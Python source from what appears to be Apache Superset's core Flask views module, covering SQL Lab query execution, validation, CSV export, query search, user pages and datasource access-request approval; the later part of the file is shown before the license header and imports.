return json_error_response(
"Data could not be retrieved. " "You may want to re-run the query.",
status=410,
)
query = db.session.query(Query).filter_by(results_key=key).one_or_none()
if query is None:
return json_error_response(
"Data could not be retrieved. You may want to re-run the query.",
status=404,
)
rejected_tables = security_manager.rejected_tables(
query.sql, query.database, query.schema
)
if rejected_tables:
return json_error_response(
security_manager.get_table_access_error_msg(rejected_tables), status=403
)
payload = utils.zlib_decompress(blob, decode=not results_backend_use_msgpack)
obj: dict = _deserialize_results_payload(
payload, query, cast(bool, results_backend_use_msgpack)
)
if "rows" in request.args:
try:
rows = int(request.args["rows"])
except ValueError:
return json_error_response("Invalid `rows` argument", status=400)
obj = apply_display_max_row_limit(obj, rows)
return json_success(
json.dumps(obj, default=utils.json_iso_dttm_ser, ignore_nan=True)
)
@has_access_api
@expose("/stop_query/", methods=["POST"])
@event_logger.log_this
@backoff.on_exception(
backoff.constant,
Exception,
interval=1,
on_backoff=lambda details: db.session.rollback(),
on_giveup=lambda details: db.session.rollback(),
max_tries=5,
)
def stop_query(self):
client_id = request.form.get("client_id")
query = db.session.query(Query).filter_by(client_id=client_id).one()
if query.status in [
QueryStatus.FAILED,
QueryStatus.SUCCESS,
QueryStatus.TIMED_OUT,
]:
logging.error(
f"Query with client_id {client_id} could not be stopped: query already complete"
)
return self.json_response("OK")
query.status = QueryStatus.STOPPED
db.session.commit()
return self.json_response("OK")
@has_access_api
@expose("/validate_sql_json/", methods=["POST", "GET"])
@event_logger.log_this
def validate_sql_json(self):
"""Validates that arbitrary sql is acceptable for the given database.
Returns a list of error/warning annotations as json.
"""
sql = request.form.get("sql")
database_id = request.form.get("database_id")
schema = request.form.get("schema") or None
template_params = json.loads(request.form.get("templateParams") or "{}")
if len(template_params) > 0:
# TODO: factor the Database object out of template rendering
# or provide it as mydb so we can render template params
# without having to also persist a Query ORM object.
return json_error_response(
"SQL validation does not support template parameters", status=400
)
session = db.session()
mydb = session.query(models.Database).filter_by(id=database_id).one_or_none()
if not mydb:
return json_error_response(
"Database with id {} is missing.".format(database_id), status=400
)
spec = mydb.db_engine_spec
validators_by_engine = get_feature_flags().get("SQL_VALIDATORS_BY_ENGINE")
if not validators_by_engine or spec.engine not in validators_by_engine:
return json_error_response(
"no SQL validator is configured for {}".format(spec.engine), status=400
)
validator_name = validators_by_engine[spec.engine]
validator = get_validator_by_name(validator_name)
if not validator:
return json_error_response(
"No validator named {} found (configured for the {} engine)".format(
validator_name, spec.engine
)
)
try:
timeout = config["SQLLAB_VALIDATION_TIMEOUT"]
timeout_msg = f"The query exceeded the {timeout} seconds timeout."
with utils.timeout(seconds=timeout, error_message=timeout_msg):
errors = validator.validate(sql, schema, mydb)
payload = json.dumps(
[err.to_dict() for err in errors],
default=utils.pessimistic_json_iso_dttm_ser,
ignore_nan=True,
encoding=None,
)
return json_success(payload)
except Exception as e:
logging.exception(e)
msg = _(
f"{validator.name} was unable to check your query.\n"
"Please recheck your query.\n"
f"Exception: {e}"
)
# Return as a 400 if the database error message says we got a 4xx error
if re.search(r"([\W]|^)4\d{2}([\W]|$)", str(e)):
return json_error_response(f"{msg}", status=400)
else:
return json_error_response(f"{msg}")
def _sql_json_async(
self,
session: Session,
rendered_query: str,
query: Query,
expand_data: bool,
log_params: Optional[Dict[str, Any]] = None,
) -> str:
"""
Send SQL JSON query to celery workers
:param session: SQLAlchemy session object
:param rendered_query: the rendered query to perform by workers
:param query: The query (SQLAlchemy) object
:return: String JSON response
"""
logging.info(f"Query {query.id}: Running query on a Celery worker")
# Ignore the celery future object and the request may time out.
try:
sql_lab.get_sql_results.delay(
query.id,
rendered_query,
return_results=False,
store_results=not query.select_as_cta,
user_name=g.user.username if g.user else None,
start_time=now_as_float(),
expand_data=expand_data,
log_params=log_params,
)
except Exception as e:
logging.exception(f"Query {query.id}: {e}")
msg = _(
"Failed to start remote query on a worker. "
"Tell your administrator to verify the availability of "
"the message queue."
)
query.status = QueryStatus.FAILED
query.error_message = msg
session.commit()
return json_error_response("{}".format(msg))
resp = json_success(
json.dumps(
{"query": query.to_dict()},
default=utils.json_int_dttm_ser,
ignore_nan=True,
),
status=202,
)
session.commit()
return resp
def _sql_json_sync(
self,
session: Session,
rendered_query: str,
query: Query,
expand_data: bool,
log_params: Optional[Dict[str, Any]] = None,
) -> str:
"""
Execute SQL query (sql json)
:param rendered_query: The rendered query (included templates)
:param query: The query SQL (SQLAlchemy) object
:return: String JSON response
"""
try:
timeout = config["SQLLAB_TIMEOUT"]
timeout_msg = f"The query exceeded the {timeout} seconds timeout."
store_results = (
is_feature_enabled("SQLLAB_BACKEND_PERSISTENCE")
and not query.select_as_cta
)
with utils.timeout(seconds=timeout, error_message=timeout_msg):
# pylint: disable=no-value-for-parameter
data = sql_lab.get_sql_results(
query.id,
rendered_query,
return_results=True,
store_results=store_results,
user_name=g.user.username if g.user else None,
expand_data=expand_data,
log_params=log_params,
)
payload = json.dumps(
apply_display_max_row_limit(data),
default=utils.pessimistic_json_iso_dttm_ser,
ignore_nan=True,
encoding=None,
)
except Exception as e:
logging.exception(f"Query {query.id}: {e}")
return json_error_response(f"{{e}}")
if data.get("status") == QueryStatus.FAILED:
return json_error_response(payload=data)
return json_success(payload)
@has_access_api
@expose("/sql_json/", methods=["POST"])
@event_logger.log_this
def sql_json(self):
log_params = {
"user_agent": cast(Optional[str], request.headers.get("USER_AGENT"))
}
return self.sql_json_exec(request.json, log_params)
def sql_json_exec(
self, query_params: dict, log_params: Optional[Dict[str, Any]] = None
):
"""Runs arbitrary sql and returns data as json"""
# Collect Values
database_id: int = cast(int, query_params.get("database_id"))
schema: str = cast(str, query_params.get("schema"))
sql: str = cast(str, query_params.get("sql"))
try:
template_params: dict = json.loads(
query_params.get("templateParams") or "{}"
)
except json.JSONDecodeError:
logging.warning(
f"Invalid template parameter {query_params.get("templateParams")}"
" specified. Defaulting to empty dict"
)
template_params = {}
limit: int = query_params.get("queryLimit") or app.config["SQL_MAX_ROW"]
async_flag: bool = cast(bool, query_params.get("runAsync"))
if limit < 0:
logging.warning(
f"Invalid limit of {limit} specified. Defaulting to max limit."
)
limit = 0
select_as_cta: bool = cast(bool, query_params.get("select_as_cta"))
tmp_table_name: str = cast(str, query_params.get("tmp_table_name"))
client_id: str = cast(
str, query_params.get("client_id") or utils.shortid()[:10]
)
sql_editor_id: str = cast(str, query_params.get("sql_editor_id"))
tab_name: str = cast(str, query_params.get("tab"))
status: str = QueryStatus.PENDING if async_flag else QueryStatus.RUNNING
session = db.session()
mydb = session.query(models.Database).get(database_id)
if not mydb:
return json_error_response(f"Database with id {database_id} is missing.")
# Set tmp_table_name for CTA
if select_as_cta and mydb.force_ctas_schema:
tmp_table_name = f"{mydb.force_ctas_schema}.{tmp_table_name}"
# Save current query
query = Query(
database_id=database_id,
sql=sql,
schema=schema,
select_as_cta=select_as_cta,
start_time=now_as_float(),
tab_name=tab_name,
status=status,
sql_editor_id=sql_editor_id,
tmp_table_name=tmp_table_name,
user_id=g.user.get_id() if g.user else None,
client_id=client_id,
)
try:
session.add(query)
session.flush()
query_id = query.id
session.commit() # shouldn't be necessary
except SQLAlchemyError as e:
logging.error(f"Errors saving query details {e}")
session.rollback()
raise Exception(_("Query record was not created as expected."))
if not query_id:
raise Exception(_("Query record was not created as expected."))
logging.info(f"Triggering query_id: {query_id}")
rejected_tables = security_manager.rejected_tables(sql, mydb, schema)
if rejected_tables:
query.status = QueryStatus.FAILED
session.commit()
return json_error_response(
security_manager.get_table_access_error_msg(rejected_tables),
link=security_manager.get_table_access_link(rejected_tables),
status=403,
)
try:
template_processor = get_template_processor(
database=query.database, query=query
)
rendered_query = template_processor.process_template(
query.sql, **template_params
)
except Exception as e:
error_msg = utils.error_msg_from_exception(e)
return json_error_response(
f"Query {query_id}: Template rendering failed: {error_msg}"
)
# set LIMIT after template processing
limits = [mydb.db_engine_spec.get_limit_from_sql(rendered_query), limit]
query.limit = min(lim for lim in limits if lim is not None)
# Flag for whether or not to expand data
# (feature that will expand Presto row objects and arrays)
expand_data: bool = cast(
bool,
is_feature_enabled("PRESTO_EXPAND_DATA")
and query_params.get("expand_data"),
)
# Async request.
if async_flag:
return self._sql_json_async(
session, rendered_query, query, expand_data, log_params
)
# Sync request.
return self._sql_json_sync(
session, rendered_query, query, expand_data, log_params
)
@has_access
@expose("/csv/<client_id>")
@event_logger.log_this
def csv(self, client_id):
"""Download the query results as csv."""
logging.info("Exporting CSV file [{}]".format(client_id))
query = db.session.query(Query).filter_by(client_id=client_id).one()
rejected_tables = security_manager.rejected_tables(
query.sql, query.database, query.schema
)
if rejected_tables:
flash(security_manager.get_table_access_error_msg(rejected_tables))
return redirect("/")
blob = None
if results_backend and query.results_key:
logging.info(
"Fetching CSV from results backend " "[{}]".format(query.results_key)
)
blob = results_backend.get(query.results_key)
if blob:
logging.info("Decompressing")
payload = utils.zlib_decompress(
blob, decode=not results_backend_use_msgpack
)
obj = _deserialize_results_payload(
payload, query, results_backend_use_msgpack
)
columns = [c["name"] for c in obj["columns"]]
df = pd.DataFrame.from_records(obj["data"], columns=columns)
logging.info("Using pandas to convert to CSV")
csv = df.to_csv(index=False, **config["CSV_EXPORT"])
else:
logging.info("Running a query to turn into CSV")
sql = query.select_sql or query.executed_sql
df = query.database.get_df(sql, query.schema)
# TODO(bkyryliuk): add compression=gzip for big files.
csv = df.to_csv(index=False, **config["CSV_EXPORT"])
response = Response(csv, mimetype="text/csv")
response.headers[
"Content-Disposition"
] = f"attachment; filename={query.name}.csv"
event_info = {
"event_type": "data_export",
"client_id": client_id,
"row_count": len(df.index),
"database": query.database.name,
"schema": query.schema,
"sql": query.sql,
"exported_format": "csv",
}
logging.info(
f"CSV exported: {repr(event_info)}", extra={"superset_event": event_info}
)
return response
@api
@handle_api_exception
@has_access
@expose("/fetch_datasource_metadata")
@event_logger.log_this
def fetch_datasource_metadata(self):
datasource_id, datasource_type = request.args.get("datasourceKey").split("__")
datasource = ConnectorRegistry.get_datasource(
datasource_type, datasource_id, db.session
)
# Check if datasource exists
if not datasource:
return json_error_response(DATASOURCE_MISSING_ERR)
# Check permission for datasource
security_manager.assert_datasource_permission(datasource)
return json_success(json.dumps(datasource.data))
@has_access_api
@expose("/queries/<last_updated_ms>")
def queries(self, last_updated_ms):
"""
Get the updated queries.
:param last_updated_ms: unix time, milliseconds
"""
last_updated_ms_int = int(float(last_updated_ms)) if last_updated_ms else 0
return self.queries_exec(last_updated_ms_int)
def queries_exec(self, last_updated_ms_int: int):
stats_logger.incr("queries")
if not g.user.get_id():
return json_error_response(
"Please login to access the queries.", status=403
)
# UTC date time, same that is stored in the DB.
last_updated_dt = utils.EPOCH + timedelta(seconds=last_updated_ms_int / 1000)
sql_queries = (
db.session.query(Query)
.filter(
Query.user_id == g.user.get_id(), Query.changed_on >= last_updated_dt
)
.all()
)
dict_queries = {q.client_id: q.to_dict() for q in sql_queries}
return json_success(json.dumps(dict_queries, default=utils.json_int_dttm_ser))
@has_access
@expose("/search_queries")
@event_logger.log_this
def search_queries(self) -> Response:
"""
Search for previously run sqllab queries. Used for Sqllab Query Search
page /superset/sqllab#search.
Custom permission can_only_search_queries_owned restricts queries
to only queries run by current user.
:returns: Response with list of sql query dicts
"""
query = db.session.query(Query)
if security_manager.can_only_access_owned_queries():
search_user_id = g.user.get_user_id()
else:
search_user_id = request.args.get("user_id")
database_id = request.args.get("database_id")
search_text = request.args.get("search_text")
status = request.args.get("status")
# From and To time stamp should be Epoch timestamp in seconds
from_time = request.args.get("from")
to_time = request.args.get("to")
if search_user_id:
# Filter on user_id
query = query.filter(Query.user_id == search_user_id)
if database_id:
# Filter on db Id
query = query.filter(Query.database_id == database_id)
if status:
# Filter on status
query = query.filter(Query.status == status)
if search_text:
# Filter on search text
query = query.filter(Query.sql.like("%{}%".format(search_text)))
if from_time:
query = query.filter(Query.start_time > int(from_time))
if to_time:
query = query.filter(Query.start_time < int(to_time))
query_limit = config["QUERY_SEARCH_LIMIT"]
sql_queries = query.order_by(Query.start_time.asc()).limit(query_limit).all()
dict_queries = [q.to_dict() for q in sql_queries]
return Response(
json.dumps(dict_queries, default=utils.json_int_dttm_ser),
status=200,
mimetype="application/json",
)
@app.errorhandler(500)
def show_traceback(self):
return (
render_template("superset/traceback.html", error_msg=get_error_msg()),
500,
)
@expose("/welcome")
def welcome(self):
"""Personalized welcome page"""
if not g.user or not g.user.get_id():
return redirect(appbuilder.get_url_for_login)
welcome_dashboard_id = (
db.session.query(UserAttribute.welcome_dashboard_id)
.filter_by(user_id=g.user.get_id())
.scalar()
)
if welcome_dashboard_id:
return self.dashboard(str(welcome_dashboard_id))
payload = {
"user": bootstrap_user_data(g.user),
"common": common_bootstrap_payload(),
}
return self.render_template(
"superset/welcome.html",
entry="welcome",
bootstrap_data=json.dumps(
payload, default=utils.pessimistic_json_iso_dttm_ser
),
)
@has_access
@expose("/profile/<username>/")
def profile(self, username):
"""User profile page"""
if not username and g.user:
username = g.user.username
user = (
db.session.query(ab_models.User).filter_by(username=username).one_or_none()
)
if not user:
abort(404, description=f"User: {username} does not exist.")
payload = {
"user": bootstrap_user_data(user, include_perms=True),
"common": common_bootstrap_payload(),
}
return self.render_template(
"superset/basic.html",
title=_("%(user)s's profile", user=username),
entry="profile",
bootstrap_data=json.dumps(
payload, default=utils.pessimistic_json_iso_dttm_ser
),
)
@staticmethod
def _get_sqllab_payload(user_id: int) -> Dict[str, Any]:
# send list of tab state ids
tabs_state = (
db.session.query(TabState.id, TabState.label)
.filter_by(user_id=user_id)
.all()
)
tab_state_ids = [tab_state[0] for tab_state in tabs_state]
# return first active tab, or fallback to another one if no tab is active
active_tab = (
db.session.query(TabState)
.filter_by(user_id=user_id)
.order_by(TabState.active.desc())
.first()
)
databases: Dict[int, Any] = {}
queries: Dict[str, Any] = {}
# These are unnecessary if sqllab backend persistence is disabled
if is_feature_enabled("SQLLAB_BACKEND_PERSISTENCE"):
databases = {
database.id: {
k: v for k, v in database.to_json().items() if k in DATABASE_KEYS
}
for database in db.session.query(models.Database).all()
}
# return all user queries associated with existing SQL editors
user_queries = (
db.session.query(Query)
.filter_by(user_id=user_id)
.filter(Query.sql_editor_id.cast(Integer).in_(tab_state_ids))
.all()
)
queries = {
query.client_id: {k: v for k, v in query.to_dict().items()}
for query in user_queries
}
return {
"defaultDbId": config["SQLLAB_DEFAULT_DBID"],
"common": common_bootstrap_payload(),
"tab_state_ids": tabs_state,
"active_tab": active_tab.to_dict() if active_tab else None,
"databases": databases,
"queries": queries,
}
@has_access
@expose("/sqllab")
def sqllab(self):
"""SQL Editor"""
payload = self._get_sqllab_payload(g.user.get_id())
bootstrap_data = json.dumps(
payload, default=utils.pessimistic_json_iso_dttm_ser
)
return self.render_template(
"superset/basic.html", entry="sqllab", bootstrap_data=bootstrap_data
)
@api
@handle_api_exception
@has_access_api
@expose("/slice_query/<slice_id>/")
def slice_query(self, slice_id):
"""
This method exposes an API endpoint to
get the database query string for this slice
"""
viz_obj = get_viz(slice_id)
security_manager.assert_viz_permission(viz_obj)
return self.get_query_string_response(viz_obj)
@api
@has_access_api
@expose("/schemas_access_for_csv_upload")
def schemas_access_for_csv_upload(self):
"""
This method exposes an API endpoint to
get the schema access control settings for csv upload in this database
"""
if not request.args.get("db_id"):
return json_error_response("No database is allowed for your csv upload")
db_id = int(request.args.get("db_id"))
database = db.session.query(models.Database).filter_by(id=db_id).one()
try:
schemas_allowed = database.get_schema_access_for_csv_upload()
if (
security_manager.database_access(database)
or security_manager.all_datasource_access()
):
return self.json_response(schemas_allowed)
# the list schemas_allowed should not be empty here
# and the list schemas_allowed_processed returned from security_manager
# should not be empty either,
# otherwise the database should have been filtered out
# in CsvToDatabaseForm
schemas_allowed_processed = security_manager.schemas_accessible_by_user(
database, schemas_allowed, False
)
return self.json_response(schemas_allowed_processed)
except Exception:
return json_error_response(
"Failed to fetch schemas allowed for csv upload in this database! "
"Please contact your Superset Admin!",
stacktrace=utils.get_stacktrace(),
)
class CssTemplateModelView(SupersetModelView, DeleteMixin):
datamodel = SQLAInterface(models.CssTemplate)
include_route_methods = RouteMethod.CRUD_SET
list_title = _("CSS Templates")
show_title = _("Show CSS Template")
add_title = _("Add CSS Template")
edit_title = _("Edit CSS Template")
list_columns = ["template_name"]
edit_columns = ["template_name", "css"]
add_columns = edit_columns
label_columns = {"template_name": _("Template Name")}
class CssTemplateAsyncModelView(CssTemplateModelView):
include_route_methods = {RouteMethod.API_READ}
list_columns = ["template_name", "css"]
@app.after_request
def apply_http_headers(response: Response):
"""Applies the configuration's http headers to all responses"""
# HTTP_HEADERS is deprecated, this provides backwards compatibility
response.headers.extend(
{**config["OVERRIDE_HTTP_HEADERS"], **config["HTTP_HEADERS"]}
)
for k, v in config["DEFAULT_HTTP_HEADERS"].items():
if k not in response.headers:
response.headers[k] = v
return response
| # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
# pylint: disable=C,R,W
import logging
import re
from contextlib import closing
from datetime import datetime, timedelta
from typing import Any, cast, Dict, List, Optional, Union
from urllib import parse
import backoff
import msgpack
import pandas as pd
import pyarrow as pa
import simplejson as json
from flask import (
abort,
flash,
g,
Markup,
redirect,
render_template,
request,
Response,
url_for,
)
from flask_appbuilder import expose
from flask_appbuilder.models.sqla.interface import SQLAInterface
from flask_appbuilder.security.decorators import has_access, has_access_api
from flask_appbuilder.security.sqla import models as ab_models
from flask_babel import gettext as __, lazy_gettext as _
from sqlalchemy import and_, Integer, or_, select
from sqlalchemy.exc import SQLAlchemyError
from sqlalchemy.orm.session import Session
from werkzeug.routing import BaseConverter
from werkzeug.urls import Href
import superset.models.core as models
from superset import (
app,
appbuilder,
cache,
conf,
dataframe,
db,
event_logger,
get_feature_flags,
is_feature_enabled,
result_set,
results_backend,
results_backend_use_msgpack,
security_manager,
sql_lab,
talisman,
viz,
)
from superset.connectors.connector_registry import ConnectorRegistry
from superset.connectors.sqla.models import AnnotationDatasource
from superset.constants import RouteMethod
from superset.exceptions import (
DatabaseNotFound,
SupersetException,
SupersetSecurityException,
SupersetTimeoutException,
)
from superset.jinja_context import get_template_processor
from superset.models.dashboard import Dashboard
from superset.models.datasource_access_request import DatasourceAccessRequest
from superset.models.slice import Slice
from superset.models.sql_lab import Query, TabState
from superset.models.user_attributes import UserAttribute
from superset.sql_parse import ParsedQuery
from superset.sql_validators import get_validator_by_name
from superset.utils import core as utils, dashboard_import_export
from superset.utils.dates import now_as_float
from superset.utils.decorators import etag_cache, stats_timing
from superset.views.chart import views as chart_views
from .base import (
api,
BaseFilter,
BaseSupersetView,
check_ownership,
common_bootstrap_payload,
CsvResponse,
data_payload_response,
DeleteMixin,
generate_download_headers,
get_error_msg,
get_user_roles,
handle_api_exception,
json_error_response,
json_success,
SupersetModelView,
)
from .dashboard import views as dash_views
from .database import views as in_views
from .utils import (
apply_display_max_row_limit,
bootstrap_user_data,
get_datasource_info,
get_form_data,
get_viz,
)
config = app.config
CACHE_DEFAULT_TIMEOUT = config["CACHE_DEFAULT_TIMEOUT"]
SQLLAB_QUERY_COST_ESTIMATE_TIMEOUT = config["SQLLAB_QUERY_COST_ESTIMATE_TIMEOUT"]
stats_logger = config["STATS_LOGGER"]
DAR = DatasourceAccessRequest
QueryStatus = utils.QueryStatus
DATABASE_KEYS = [
"allow_csv_upload",
"allow_ctas",
"allow_dml",
"allow_multi_schema_metadata_fetch",
"allow_run_async",
"allows_subquery",
"backend",
"database_name",
"expose_in_sqllab",
"force_ctas_schema",
"id",
]
ALL_DATASOURCE_ACCESS_ERR = __(
"This endpoint requires the `all_datasource_access` permission"
)
DATASOURCE_MISSING_ERR = __("The data source seems to have been deleted")
ACCESS_REQUEST_MISSING_ERR = __("The access requests seem to have been deleted")
USER_MISSING_ERR = __("The user seems to have been deleted")
FORM_DATA_KEY_BLACKLIST: List[str] = []
if not config["ENABLE_JAVASCRIPT_CONTROLS"]:
FORM_DATA_KEY_BLACKLIST = ["js_tooltip", "js_onclick_href", "js_data_mutator"]
def get_database_access_error_msg(database_name):
return __(
"This view requires the database %(name)s or "
"`all_datasource_access` permission",
name=database_name,
)
def is_owner(obj, user):
""" Check if user is owner of the slice """
return obj and user in obj.owners
def check_datasource_perms(
self, datasource_type: str = None, datasource_id: int = None
) -> None:
"""
Check if user can access a cached response from explore_json.
This function takes `self` since it must have the same signature as the
the decorated method.
:param datasource_type: The datasource type, i.e., 'druid' or 'table'
:param datasource_id: The datasource ID
:raises SupersetSecurityException: If the user cannot access the resource
"""
form_data = get_form_data()[0]
try:
datasource_id, datasource_type = get_datasource_info(
datasource_id, datasource_type, form_data
)
except SupersetException as e:
raise SupersetSecurityException(str(e))
viz_obj = get_viz(
datasource_type=datasource_type,
datasource_id=datasource_id,
form_data=form_data,
force=False,
)
security_manager.assert_viz_permission(viz_obj)
def check_slice_perms(self, slice_id):
"""
Check if user can access a cached response from slice_json.
This function takes `self` since it must have the same signature as the
the decorated method.
"""
form_data, slc = get_form_data(slice_id, use_slice_data=True)
viz_obj = get_viz(
datasource_type=slc.datasource.type,
datasource_id=slc.datasource.id,
form_data=form_data,
force=False,
)
security_manager.assert_viz_permission(viz_obj)
def _deserialize_results_payload(
payload: Union[bytes, str], query, use_msgpack: Optional[bool] = False
) -> dict:
logging.debug(f"Deserializing from msgpack: {use_msgpack}")
if use_msgpack:
with stats_timing(
"sqllab.query.results_backend_msgpack_deserialize", stats_logger
):
ds_payload = msgpack.loads(payload, raw=False)
with stats_timing("sqllab.query.results_backend_pa_deserialize", stats_logger):
pa_table = pa.deserialize(ds_payload["data"])
df = result_set.SupersetResultSet.convert_table_to_df(pa_table)
ds_payload["data"] = dataframe.df_to_records(df) or []
db_engine_spec = query.database.db_engine_spec
all_columns, data, expanded_columns = db_engine_spec.expand_data(
ds_payload["selected_columns"], ds_payload["data"]
)
ds_payload.update(
{"data": data, "columns": all_columns, "expanded_columns": expanded_columns}
)
return ds_payload
else:
with stats_timing(
"sqllab.query.results_backend_json_deserialize", stats_logger
):
return json.loads(payload) # type: ignore
class AccessRequestsModelView(SupersetModelView, DeleteMixin):
datamodel = SQLAInterface(DAR)
include_route_methods = RouteMethod.CRUD_SET
list_columns = [
"username",
"user_roles",
"datasource_link",
"roles_with_datasource",
"created_on",
]
order_columns = ["created_on"]
base_order = ("changed_on", "desc")
label_columns = {
"username": _("User"),
"user_roles": _("User Roles"),
"database": _("Database URL"),
"datasource_link": _("Datasource"),
"roles_with_datasource": _("Roles to grant"),
"created_on": _("Created On"),
}
@talisman(force_https=False)
@app.route("/health")
def health():
return "OK"
@talisman(force_https=False)
@app.route("/healthcheck")
def healthcheck():
return "OK"
@talisman(force_https=False)
@app.route("/ping")
def ping():
return "OK"
class KV(BaseSupersetView):
"""Used for storing and retrieving key value pairs"""
@event_logger.log_this
@has_access_api
@expose("/store/", methods=["POST"])
def store(self):
try:
value = request.form.get("data")
obj = models.KeyValue(value=value)
db.session.add(obj)
db.session.commit()
except Exception as e:
return json_error_response(e)
return Response(json.dumps({"id": obj.id}), status=200)
@event_logger.log_this
@has_access_api
@expose("/<key_id>/", methods=["GET"])
def get_value(self, key_id):
try:
kv = db.session.query(models.KeyValue).filter_by(id=key_id).scalar()
if not kv:
return Response(status=404, content_type="text/plain")
except Exception as e:
return json_error_response(e)
return Response(kv.value, status=200, content_type="text/plain")
class R(BaseSupersetView):
"""used for short urls"""
@event_logger.log_this
@expose("/<url_id>")
def index(self, url_id):
url = db.session.query(models.Url).get(url_id)
if url and url.url:
explore_url = "//superset/explore/?"
if url.url.startswith(explore_url):
explore_url += f"r={url_id}"
return redirect(explore_url[1:])
else:
return redirect(url.url[1:])
else:
flash("URL to nowhere...", "danger")
return redirect("/")
@event_logger.log_this
@has_access_api
@expose("/shortner/", methods=["POST"])
def shortner(self):
url = request.form.get("data")
obj = models.Url(url=url)
db.session.add(obj)
db.session.commit()
return Response(
"{scheme}://{request.headers[Host]}/r/{obj.id}".format(
scheme=request.scheme, request=request, obj=obj
),
mimetype="text/plain",
)
class Superset(BaseSupersetView):
"""The base views for Superset!"""
logger = logging.getLogger(__name__)
@has_access_api
@expose("/datasources/")
def datasources(self):
datasources = ConnectorRegistry.get_all_datasources(db.session)
datasources = [o.short_data for o in datasources if o.short_data.get("name")]
datasources = sorted(datasources, key=lambda o: o["name"])
return self.json_response(datasources)
@has_access_api
@expose("/override_role_permissions/", methods=["POST"])
def override_role_permissions(self):
"""Updates the role with the give datasource permissions.
Permissions not in the request will be revoked. This endpoint should
be available to admins only. Expects JSON in the format:
{
'role_name': '{role_name}',
'database': [{
'datasource_type': '{table|druid}',
'name': '{database_name}',
'schema': [{
'name': '{schema_name}',
'datasources': ['{datasource name}, {datasource name}']
}]
}]
}
"""
data = request.get_json(force=True)
role_name = data["role_name"]
databases = data["database"]
db_ds_names = set()
for dbs in databases:
for schema in dbs["schema"]:
for ds_name in schema["datasources"]:
fullname = utils.get_datasource_full_name(
dbs["name"], ds_name, schema=schema["name"]
)
db_ds_names.add(fullname)
existing_datasources = ConnectorRegistry.get_all_datasources(db.session)
datasources = [d for d in existing_datasources if d.full_name in db_ds_names]
role = security_manager.find_role(role_name)
# remove all permissions
role.permissions = []
# grant permissions to the list of datasources
granted_perms = []
for datasource in datasources:
view_menu_perm = security_manager.find_permission_view_menu(
view_menu_name=datasource.perm, permission_name="datasource_access"
)
# prevent creating empty permissions
if view_menu_perm and view_menu_perm.view_menu:
role.permissions.append(view_menu_perm)
granted_perms.append(view_menu_perm.view_menu.name)
db.session.commit()
return self.json_response(
{"granted": granted_perms, "requested": list(db_ds_names)}, status=201
)
@event_logger.log_this
@has_access
@expose("/request_access/")
def request_access(self):
datasources = set()
dashboard_id = request.args.get("dashboard_id")
if dashboard_id:
dash = db.session.query(Dashboard).filter_by(id=int(dashboard_id)).one()
datasources |= dash.datasources
datasource_id = request.args.get("datasource_id")
datasource_type = request.args.get("datasource_type")
if datasource_id:
ds_class = ConnectorRegistry.sources.get(datasource_type)
datasource = (
db.session.query(ds_class).filter_by(id=int(datasource_id)).one()
)
datasources.add(datasource)
has_access = all(
(
datasource and security_manager.datasource_access(datasource)
for datasource in datasources
)
)
if has_access:
return redirect("/superset/dashboard/{}".format(dashboard_id))
if request.args.get("action") == "go":
for datasource in datasources:
access_request = DAR(
datasource_id=datasource.id, datasource_type=datasource.type
)
db.session.add(access_request)
db.session.commit()
flash(__("Access was requested"), "info")
return redirect("/")
return self.render_template(
"superset/request_access.html",
datasources=datasources,
datasource_names=", ".join([o.name for o in datasources]),
)
@event_logger.log_this
@has_access
@expose("/approve")
def approve(self):
def clean_fulfilled_requests(session):
for r in session.query(DAR).all():
datasource = ConnectorRegistry.get_datasource(
r.datasource_type, r.datasource_id, session
)
if not datasource or security_manager.datasource_access(datasource):
# datasource does not exist anymore
session.delete(r)
session.commit()
datasource_type = request.args.get("datasource_type")
datasource_id = request.args.get("datasource_id")
created_by_username = request.args.get("created_by")
role_to_grant = request.args.get("role_to_grant")
role_to_extend = request.args.get("role_to_extend")
session = db.session
datasource = ConnectorRegistry.get_datasource(
datasource_type, datasource_id, session
)
if not datasource:
flash(DATASOURCE_MISSING_ERR, "alert")
return json_error_response(DATASOURCE_MISSING_ERR)
requested_by = security_manager.find_user(username=created_by_username)
if not requested_by:
flash(USER_MISSING_ERR, "alert")
return json_error_response(USER_MISSING_ERR)
requests = (
session.query(DAR)
.filter(
DAR.datasource_id == datasource_id,
DAR.datasource_type == datasource_type,
DAR.created_by_fk == requested_by.id,
)
.all()
)
if not requests:
flash(ACCESS_REQUEST_MISSING_ERR, "alert")
return json_error_response(ACCESS_REQUEST_MISSING_ERR)
# check if you can approve
if security_manager.all_datasource_access() or check_ownership(
datasource, raise_if_false=False
):
# can by done by admin only
if role_to_grant:
role = security_manager.find_role(role_to_grant)
requested_by.roles.append(role)
msg = __(
"%(user)s was granted the role %(role)s that gives access "
"to the %(datasource)s",
user=requested_by.username,
role=role_to_grant,
datasource=datasource.full_name,
)
utils.notify_user_about_perm_udate(
g.user,
requested_by,
role,
datasource,
"email/role_granted.txt",
app.config,
)
flash(msg, "info")
if role_to_extend:
perm_view = security_manager.find_permission_view_menu(
"email/datasource_access", datasource.perm
)
role = security_manager.find_role(role_to_extend)
security_manager.add_permission_role(role, perm_view)
msg = __(
"Role %(r)s was extended to provide the access to "
"the datasource %(ds)s",
r=role_to_extend,
ds=datasource.full_name,
)
utils.notify_user_about_perm_udate(
g.user,
requested_by,
role,
datasource,
"email/role_extended.txt",
app.config,
)
flash(msg, "info")
clean_fulfilled_requests(session)
else:
flash(__("You have no permission to approve this request"), "danger")
return redirect("/accessrequestsmodelview/list/")
for r in requests:
session.delete(r)
session.commit()
return redirect("/accessrequestsmodelview/list/")
def get_viz(
self,
slice_id=None,
form_data=None,
datasource_type=None,
datasource_id=None,
force=False,
):
if slice_id:
slc = db.session.query(Slice).filter_by(id=slice_id).one()
return slc.get_viz()
else:
viz_type = form_data.get("viz_type", "table")
datasource = ConnectorRegistry.get_datasource(
datasource_type, datasource_id, db.session
)
viz_obj = viz.viz_types[viz_type](
datasource, form_data=form_data, force=force
)
return viz_obj
@has_access
@expose("/slice/<slice_id>/")
def slice(self, slice_id):
